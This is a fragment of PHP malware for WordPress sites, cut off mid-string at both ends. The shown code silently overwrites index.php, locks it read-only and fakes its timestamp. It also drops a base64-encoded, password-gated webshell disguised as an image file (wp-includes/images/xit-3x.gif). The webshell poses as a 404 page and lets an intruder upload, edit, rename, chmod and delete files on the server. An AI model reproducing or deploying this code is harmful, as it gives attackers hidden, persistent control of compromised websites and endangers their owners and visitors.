BocCBkZWZpbmUoICdXUF9VU0VfVEhFTUVTJywgdHJ1ZSApOyByZXF1aXJlKCcuL3dwLWJsb2ctaGVhZGVyLnBocCcpOz8+");
$index_code = file_get_contents($do."index.php");
if(md5($index_code) != md5($open_cache_ruzhu_phpcode))
{
    @chmod($do."index.php", 0644);
    @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode);
    @touch($do."index.php", filectime($do."index.php"));
    @chmod($do."index.php", 0444);
}

$file_general_template_path = $do."wp-includes/general-template.php";
$jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif";
if (!file_exists($jue_jiang_404_path)){
    $jue_jiang_404 = "PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdQUkMnKTsKCiRBUlJBWSA9ICR7J19HRVQnfVsnQVJSQVknXTsKJEtKTW4gPSBzdHJfcm90MTMoJEFSUkFZKTsKJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOwokRXphVSA9IGpzb25fZGVjb2RlKCRjYkgsIHRydWUpOwppZiAoKCRFemFVWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJEV6YVVbMl0pKSA9PT0gIjlmMzQ2NjViMDA1MjMxMWQ1YjZhZDZmODIxZGM2MjI4IikgOiAvLyA9PT09Ci8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKICAgIGZ1bmN0aW9uIGp1ZWppYW5nX3Blcm1zKCRmaWxlKXsKICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOwogICAgICAgIGlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsvLyBTb2NrZXQKICAgICAgICAgICAgJGluZm8gPSAncyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsKICAgICAgICAgICAgJGluZm8gPSAnbCc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgey8vIFJlZ3VsYXIKICAgICAgICAgICAgJGluZm8gPSAnLSc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgey8vIEJsb2NrIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYic7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQogICAgICAgICAgICAkaW5mbyA9ICdkJzsKICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7Ly8gQ2hhcmFjdGVyIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgey8vIEZJRk8gcGlwZQogICAgICAgICAgICAkaW5mbyA9ICdwJzsKICAgICAgICB9IGVsc2Ugey8vIFVua25vd24KICAgICAgICAgICAgJGluZm8gPSAndSc7CiAgICAgICAgfQovLyBPd25lcgogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPwogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwoKLy8gR3JvdXAKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOgogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCi8vIFdvcmxkCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoKICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CgogICAgICAgIHJldHVybiAkaW5mbzsKICAgIH0KCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgLyoqCiAgICAgKiDovazljJYgXCDkuLogLwogICAgICovCiAgICBmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkKICAgIHsKICAgICAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOwogICAgICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7CiAgICAgICAgcmV0dXJuICRwYXRoOwogICAgfQoKLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogICAgLyoqIOWPluW+l+ermeeCueagueebruW9lQogICAgICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10KICAgICAqLwogICAgZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpewoKICAgICAgICAkcGhwX3NlbGYgPSBkaXJfcGF0aCgkX1NFUlZFUlsiUEhQX1NFTEYiXSk7CiAgICAgICAgJHNjcmlwdF9maWxlbmFtZSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CiAgICAgICAgaWYgKGVtcHR5KCRfU0VSVkVSWyJQSFBfU0VMRiJdKSBvciBlbXB0eSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKXsKICAgICAgICAgICAgJGRvMSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0pOwogICAgICAgICAgICAkZG8gPSBydHJpbSgkZG8xLCcvJyk7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICRkbyA9IHN0cl9yZXBsYWNlKHN0cl9yZXBsYWNlKCIvLyIsICIvIiwgJHBocF9zZWxmKSwgIiIsIHN0cl9yZXBsYWNlKCJcXFxcIiwgIi8iLCAkc2NyaXB0X2ZpbGVuYW1lKSk7CiAgICAgICAgfQoJCWlmKGVtcHR5KCRkbykpICRkbyA9ICcvJzsKICAgICAgICByZXR1cm4gJGRvOwogICAgfQogICAgJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7CiAgICBkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7CgovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCgoKICAgICRwaHBfdmVyc2lvbiA9IFBIUF9NQUpPUl9WRVJTSU9OOwoJaWYoJHBocF92ZXJzaW9uPD03KXsKCQlpZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsKCQkJZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsKCQkJCSRfUE9TVFska2V5XSA9IHN0cmlwc2xhc2hlcygkdmFsdWUpOwoJCQl9CgkJfQoJfQoKICAgICRWZXJzaW9uID0gYmFzZTY0X2RlY29kZSgnNXB5QTVaQ081NXFFNVlDVTVieTYnKTsKICAgIGlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKICAgICAgICAkcGF0aCA9ICRfR0VUWydwYXRoJ107CiAgICB9ZWxzZXsKICAgICAgICAkcGF0aCA9IGdldGN3ZCgpOwogICAgfQoKCiAgICBlY2hvICc8IWRvY3R5cGUgaHRtbD4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIvPgo8L2hlYWQ+JzsKICAgID8+CgogICAgPGNlbnRlcj4KICAgICAgICA8c3R5bGU+CiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30KICAgICAgICAgICAgdGFibGUsdGgsdGR7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjEzcHg7fQogICAgICAgICAgICBpbnB1dCx0ZXh0YXJlYXt9CiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30KICAgICAgICAgICAgdGh7cGFkZGluZzoxMHB4O30KICAgICAgICAgICAgLnRkX2hvbWV7cGFkZGluZzo3cHg7fQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30KICAgICAgICAgICAgdGV4dGFyZWF7d2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7fQogICAgICAgICAgICAjY29udGVudCB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiNjZWNlY2U7dGV4dC1zaGFkb3c6MHB4IDBweCAxMHB4ICNmZmY7Y29sb3I6I2ZmZjt9CiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQogICAgICAgICAgICAuZGggYTpob3ZlcnsgY29sb3I6ICNmMDA7fQogICAgICAgIDwvc3R5bGU+CiAgICA8P3BocAogICAgZWNobyAnPC9oZWFkPgo8Ym9keT48Yj4KPEgxPjxjZW50ZXI+PGZvbnQgY29sb3I9InJlZCI+Jy4kVmVyc2lvbi4nPC9mb250PjwvY2VudGVyPjwvaDE+Cjx0YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+Cgo8dHI+PHRkPgoKPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOwogICAgaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpewogICAgICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKICAgIH1lbHNlewogICAgICAgICRwYXRoID0gZ2V0Y3dkKCk7CiAgICB9CiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsKICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCiAgICAkZ2VuX2xpbmtfdXJsID0gJzxhIHN0eWxlPSJjb2xvcjojMDA2NkZGIiBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuRE9DVU1FTlRfUk9PVDsKICAgICRnZW5fbGlua191cmwgLj0gJyI+5qC555uu5b2VIO+8miAgICA8L2E+Jm5ic3A7JzsKICAgIGVjaG8gJGdlbl9saW5rX3VybDsKCiAgICBmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpewogICAgICAgIGlmKCRwYXQgPT0gJycgJiYgJGlkID09IDApewogICAgICAgICAgICAkYSA9IHRydWU7CiAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSMwMDA+CjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOwogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7CiAgICAgICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsKICAgICAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspewogICAgICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsKICAgICAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsKICAgICAgICB9CiAgICAgICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsKICAgIH0KICAgIGVjaG8gJzwvZm9udD4KPGJyPjxicj4KPC90ZD48L3RyPjx0cj48dGQ+PGNlbnRlcj4nOwoKICAgIGlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewogICAgICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgIH1lbHNlewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgfQogICAgfQogICAgZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IuS4iuS8oCIgLz4KPC9mb3JtPjwvY2VudGVyPgo8L3RkPjwvdHI+JzsKICAgIGlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKICAgICAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsKICAgICAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107CiAgICAgICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsKICAgICAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7CiAgICB9Ci8vRW1wZXR5CiAgICBlbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gIT0gJ2RlbGV0ZScpewovLyBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsKICAgICAgICBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+JzsKLy9DaG1vZAogICAgICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsKICAgICAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107CgogICAgICAgICAgICAgICAgaWYoc3RybGVuKCRuZXdfcGVybV9vKTw9MykgJG5ld19wZXJtX289c3RyX3BhZCgkbmV3X3Blcm1fbywzLCc2JyxTVFJfUEFEX0xFRlQpOwogICAgICAgICAgICAgICAgJG5ld19wZXJtX289aW50dmFsKHN0cl9wYWQoJG5ld19wZXJtX28sNCwnMCcsU1RSX1BBRF9MRUZUKSw4KTsKCiAgICAgICAgICAgICAgICBpZihjaG1vZCgkX1BPU1RbJ3BhdGgnXSwkbmV3X3Blcm1fbykpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5pu05pS55p2D6ZmQ5oiQ5Yqf77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5pu05pS55p2D6ZmQ6ZSZ6K+v77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsKICAgICAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj48YnI+CuW9k+WJjeaWh+S7tiA6ICcuJHBhdGMuJzxicj48YnI+5p2D6ZmQLS0tLScuc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRwYXRjKSwxMCw4KSwtNCkuJzxicj48YnI+Cuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJjaG1vZCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4KPGJyPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+Cic7CgogICAgICAgIH0KLy8KICAgICAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsKICAgICAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBhY3Rpb249Ij9BUlJBWT0nLiRBUlJBWS4nJm9wdGlvbiZwYXRoPScuJGN3ZC4nJm9wdD1kZWxldGUmdHlwZT1idWF0IiBtZXRob2Q9IlBPU1QiPgrmlrDnm67lvZXlkI0gOiA8aW5wdXQgbmFtZT0ibmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSJGb2xkZXIiIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImRlbGV0ZSI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4nOwogICAgICAgIH0KLy9SZW5hbWUgZmlsZQogICAgICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ3JlbmFtZScpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgaWYocmVuYW1lKCRfUE9TVFsncGF0aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+6YeN5ZG95ZCN5oiQ5YqfISA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+6YeN5ZG95ZCN5aSx6LSlISA6KCA8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfUE9TVFsnbmFtZSddID0gJF9QT1NUWyduZXduYW1lJ107CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9ICRfUE9TVFsnbmV3bmFtZSddOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+CjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPgo8L2Zvcm0+JzsKICAgICAgICB9Ci8vRmlsZSBiYXJ1CiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpewoKICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9IGVtcHR5KCRfUE9TVFsnbmV3bmFtZSddKT8kX1BPU1RbJ25nYXJhbjEnXTokX1BPU1RbJ25ld25hbWUnXTsKICAgICAgICAgICAgJGF6eiA9ICRfUE9TVFsncGF0aCddOwogICAgICAgICAgICAkbmV3eiA9ICRhenouIi8iLiRuZXc7CiAgICAgICAgICAgICRuZXdfZmllbCA9ICRoZWxsLicvJy4kX1BPU1RbJ25nYXJhbjEnXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnbmdhcmFuMSddKSkgZWNobyAi5q2j5Zyo5paw5bu65paH5Lu277yaeyRuZXdfZmllbH08YnI+PGJyPiI7CiAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7CiAgICAgICAgICAgICAgICBpZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuaWsOW7uuaWh+S7tuaIkOWKnyBbICcuJGF6ei4nIF08L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuaWh+S7tuWksei0pSA+Oig8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPiDmlrDmlofku7blkI0gOiA8aW5wdXQgbmFtZT0ibmdhcmFuMSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRuZXcuJyIgLz48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJuZ2FyYW4iIC8+PC9mb3JtPjxicj4gJzsKCiAgICAgICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOwoKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZ2FyYW4nXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+CjwvZm9ybT4nOwogICAgICAgICAgICB9CiAgICAgICAgfQovL0VkaXRlZCBmaWxlCiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnZWRpdCcpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOwogICAgICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7nvJbovpHmiJDlip/vvIEgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7nvJbovpHlpLHotKXvvIE8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Cjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjAgbmFtZT0ic3JjIj4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJHBhdGMpKS4nPC90ZXh0YXJlYT48YnIgLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPjxicj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+Cjxicj4KPGJyPgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4KCjwvZm9ybT4nOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L2NlbnRlcj4nOwogICAgfWVsc2V7CiAgICAgICAgZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPic7Ci8vRGVsZXRlIGRpciBhbmQgZmlsZQogICAgICAgIGlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddID09ICdkZWxldGUnKXsKCiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgovL0RlbGV0ZSBkaXIKICAgICAgICAgICAgaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZGlyJyl7CgogICAgICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQovL2J1YXQgZm9sZGVyCiAgICAgICAgICAgIGlmKCRfR0VUWyd0eXBlJ10gPT0gJ2J1YXQnKXsKICAgICAgICAgICAgICAgICRoYWFhID0gJF9QT1NUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkaGVlZSA9ICRfUE9TVFsnbmFtZSddOwogICAgICAgICAgICAgICAgJGhvb28gPSAiJGhhYWEvJGhlZWUiOwogICAgICAgICAgICAgICAgJG5ldyA9ICRoYWFh